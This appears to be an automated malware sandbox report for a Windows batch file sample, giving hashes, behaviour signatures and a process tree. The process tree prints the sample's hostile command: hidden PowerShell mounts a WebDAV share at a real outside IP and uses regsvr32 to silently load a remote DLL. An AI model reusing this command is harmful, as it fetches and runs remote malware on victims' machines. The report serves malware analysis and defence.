Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
19/07/2024, 07:40
Static task
static1
Behavioral task
behavioral1
Sample
2548871112584911085.bat
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
2548871112584911085.bat
Resource
win10v2004-20240709-en
General
-
Target
2548871112584911085.bat
-
Size
16KB
-
MD5
53a1764f4250fd1671d481fe6e28f395
-
SHA1
a1466bd77d75acf0ac304e993d56fcfc5d38ecc1
-
SHA256
79488aecf47e3d0722bd47a6a85042eec151c41a7dfe49e72796e5929bd565b6
-
SHA512
74e0b7c85bd43502e5ed99d9b812f494d209afa919ab0cca43d9fcfce94c0fa4dccaeb0b21b3d8df432fa80ff025f042d463e35cf9035e444ade874ee76868f2
-
SSDEEP
384:PsdWvDIvtS6/KLJoIJXgqQDmdF/0SR0WsK:PG4hLO6Xyydx7R0WsK
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2740 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2740 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2740 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2804 wordpad.exe 2804 wordpad.exe 2804 wordpad.exe 2804 wordpad.exe 2804 wordpad.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 2172 wrote to memory of 2804 2172 cmd.exe 31 PID 2172 wrote to memory of 2804 2172 cmd.exe 31 PID 2172 wrote to memory of 2804 2172 cmd.exe 31 PID 2172 wrote to memory of 2740 2172 cmd.exe 32 PID 2172 wrote to memory of 2740 2172 cmd.exe 32 PID 2172 wrote to memory of 2740 2172 cmd.exe 32 PID 2740 wrote to memory of 2332 2740 powershell.exe 34 PID 2740 wrote to memory of 2332 2740 powershell.exe 34 PID 2740 wrote to memory of 2332 2740 powershell.exe 34 PID 2740 wrote to memory of 2704 2740 powershell.exe 35 PID 2740 wrote to memory of 2704 2740 powershell.exe 35 PID 2740 wrote to memory of 2704 2740 powershell.exe 35 PID 2740 wrote to memory of 2704 2740 powershell.exe 35 PID 2740 wrote to memory of 2704 2740 powershell.exe 35
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\2548871112584911085.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2172 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:2804
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2740 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:2332
-
-
C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\310113068128184.dll3⤵PID:2704
-
-